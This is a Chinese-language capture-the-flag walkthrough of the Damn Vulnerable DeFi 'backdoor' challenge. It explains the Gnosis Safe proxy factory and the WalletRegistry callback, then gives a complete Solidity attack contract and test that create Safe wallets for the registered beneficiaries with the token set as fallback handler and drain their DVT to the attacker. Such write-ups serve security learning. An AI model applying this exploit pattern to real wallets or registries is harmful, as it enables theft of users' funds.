backdoor
题目链接:https://www.damnvulnerabledefi.xyz/challenges/11.html
题目描述:
为了激励创建更安全的钱包,有人部署了 WalletRegistry 合约。当有人在该合约中注册为受益人并创建 Gnosis Safe 钱包,将获得 10 个 DVT 代币到钱包中
目前有四人登记为受益人:Alice、Bob、Charlie 和 David。WalletRegistry 合约中有 40 个 DVT。
你的目标是从盗取这 40 个 DVT
开始之前你需要先了解 代理合约、多签钱包、EVM 内存布局、Solidity 内联汇编 相关的知识。由于在 我的博客 中都有详细介绍,此处不再赘述。
如果你已经了解了上述内容,接下来就可以正式开始了。
不过在此之前还是需要先介绍下 Gnosis Safe
1.3.0 版本的合约架构。Gnosis Safe
在部署阶段有三个重要的合约
GnosisSafeProxyFactory
GnosisSafeProxy
GnosisSafe
GnosisSafe
是处理多签逻辑的合约,是提前部署好的合约。在以太坊主网上的地址是 0xd9Db270c1B5E3Bd161E8c8503c55cEABeE709552
当我们在 Gnosis Safe
网站上创建多签钱包时,交互的合约实际上是 GnosisSafeProxyFactory
, 该合约会创建并部署 GnosisSafeProxy
代理合约,代理合约的逻辑合约地址是已部署好的 GnosisSafe
合约。所以我们创建的多签钱包实际上是 GnosisSafeProxy
代理合约。
由于采用的这种代理模式,将数据都存储在 GnosisSafeProxy
合约中,有以下优点:
- 由于多签逻辑是可以复用的,代理模式避免了逻辑合约重复被部署。可以为用户创建多签钱包节省
gas
费 - 数据将保存在用户自己创建的钱包中,而不是统一存储在逻辑合约中,做到每个多签钱包的数据和逻辑分离。
GnosisSafeProxyFactory
部署代理合约核心方法是
function deployProxy(
address _singleton,
bytes memory initializer,
bytes32 salt
) internal returns (GnosisSafeProxy proxy) {
require(isContract(_singleton), "Singleton contract not deployed");
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
if (initializer.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
}
}
该方法的参数如下:
_singleton
:已部署的逻辑合约地址initializer
:逻辑合约GnosisSafeProxy
的setup
方法的calldata
salt
:部署合约的salt
值,长度为 32 字节
函数内部使用了两个内联汇编函数 create2
和 call
,你可以在 evm.codes 查看相关的内容。
create2(value, offset, size, salt)
部署一个合约,并返回合约地址
value
:部署时发送到合约账户ETH
数量,单位是wei
offset
:内存的起始位置size
:从起始位置开始的长度salt
:部署合约的salt
值,长度为 32 字节
call(gas, address, value, argsOffset, argsSize, retOffset, retSize)
调用合约方法
gas
:需要的 gasaddress
:目标合约地址value
:调用目标合约转入的 ETHargsOffset
:发送的calldata
在内存的起始位置argsSize
:发送的calldata
的长度retOffset
:返回值写入内存的开始位置retSize
:返回值的长度
由于 deployProxy
是 internal
,所以 GnosisSafeProxyFactory
合约暴露了以下两个方法供外部调用去创建代理合约
// 通过 nonce 创建代理合约
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
proxy = deployProxy(_singleton, initializer, salt);
emit ProxyCreation(proxy, _singleton);
}
// 创建代理合约并回调 callback 合约的 proxyCreated 方法
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
再回到题目中,合约 WalletRegistry
中继承了 IProxyCreationCallback
,在上面的方法 createProxyWithCallback
有这样一行代码
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
当 callback
存在时,调用其 proxyCreated
方法。即如果 callback
是 WalletRegistry
中则调用其 proxyCreated
方法:
function proxyCreated(
GnosisSafeProxy proxy, // 代理合约
address singleton, // 逻辑合约地址
bytes calldata initializer, // 初始化的数据
uint256
) external override {
// 确保合约有 10个 DVT
require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");
// 获取钱包地址
address payable walletAddress = payable(proxy);
// 确保调用者是 GnosisSafeProxyFactory
require(msg.sender == walletFactory, "Caller must be factory");
require(singleton == masterCopy, "Fake mastercopy used");
// 确保 initializer 前四个字节是 GnosisSafe.setup 函数的 selector
require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");
require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");
// 获取钱包的所有者
address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
// 确保 owner 是受益人(只有受益人才能是钱包的所有者)
require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");
// 取消owner作为受益人
_removeBeneficiary(walletOwner);
// 记录 owner 拥有的钱包地址
wallets[walletOwner] = walletAddress;
// 转入10DVT 到多签钱包中
token.transfer(walletAddress, TOKEN_PAYMENT);
}
到目前为止可以做个总结:
WalletRegistry
合约可以添加受益人地址,受益人可以创建多签钱包,并将 10 个DVT
转到钱包地址中- 创建多签钱包需要调用
GnosisSafeProxyFactory
合约的createProxyWithCallback
方法- 调用
createProxyWithCallback
可以传入callback
用来回调proxyCreated
方法 - 创建钱包的过程中如果存在
initializer
,则会调用。
- 调用
目前有四个受益人,所以可以创建四个多签钱包,每个钱包中有 10 个 DVT
。
目标是从多签钱包中取出这些 DVT
。但是我们并不是钱包的所有人,因此要想办法可以转移 DVT
到自己的账户中。
关键还是在于 initializer
的值。前面提到过 initializer
是逻辑合约 GnosisSafe
的 setup
方法的 calldata
,创建钱包时会调用该方法, setup
方法的实现如下
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external {
// setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
setupOwners(_owners, _threshold);
if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
// As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
setupModules(to, data);
if (payment > 0) {
// To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
// baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
}
emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}
方法参数:
_owners
:钱包所有者们_threshold
:发起交易时,最少需要同意的人数to
:执行delegtecall
合约地址data
:执行delegtecall
的calldata
fallbackHandler
:调用不存在的方法时的处理合约paymentToken
:支付的 token 地址payment
:支付额paymentReceiver
:支付的接收人
fallbackHandler
是一个合约地址,当我们调用不存在的方法时会调用 fallbackHandler
中的同名方法,如调用 transfer
时, GnosisSafe
中没有此方法,故会调用 fallbackHandler.transfer
。因此可以将 fallbackHandler
设置为 DVT
合约的地址。并传入相关参数。
以下是攻击合约 BackdoorAttack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
import "../backdoor/WalletRegistry.sol";
interface IGnosisSafe {
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external;
}
contract BackdoorAttack {
constructor (
address registry,
address masterCopy,
GnosisSafeProxyFactory walletFactory,
IERC20 token,
address[] memory beneficiaries
) {
// 遍历受益人, 创建钱包
for (uint i = 0; i < beneficiaries.length; i++) {
address beneficiary = beneficiaries[i];
address[] memory owners = new address[](1);
owners[0] = beneficiary;
bytes memory initializer = abi.encodeWithSelector(
IGnosisSafe.setup.selector, // setup 方法的 selector
// 以下是 setup 方法的参数
owners, // _owners
1, // _threshold
address(0), // to
hex"00", // data
address(token), // fallbackHandler
address(0), // paymentToken
0, // paymentToken
address(0x0) // paymentReceiver
);
// 创建钱包
GnosisSafeProxy proxy = walletFactory.createProxyWithCallback(
masterCopy, // 逻辑合约地址
initializer, // setup calldata
0, // saltNonce
WalletRegistry(registry) // callback
);
address wallet = address(proxy);
// 调用钱包(代理合约)的 transfer 方法,相当于调用逻辑合约的 transfer 方法。即相当于调用 fallbackHandler.transfer,也即 token.transfer
IERC20(wallet).transfer(msg.sender, token.balanceOf(wallet));
}
}
}
在测试文件 backdoor.challenge.js
添加攻击入口
it('Exploit', async function () {
await ethers
.getContractFactory('BackdoorAttack', attacker)
.then((contract) =>
contract.deploy(
this.walletRegistry.address,
this.masterCopy.address,
this.walletFactory.address,
this.token.address,
users
)
)
})
最后执行 yarn backdoor
测试通过!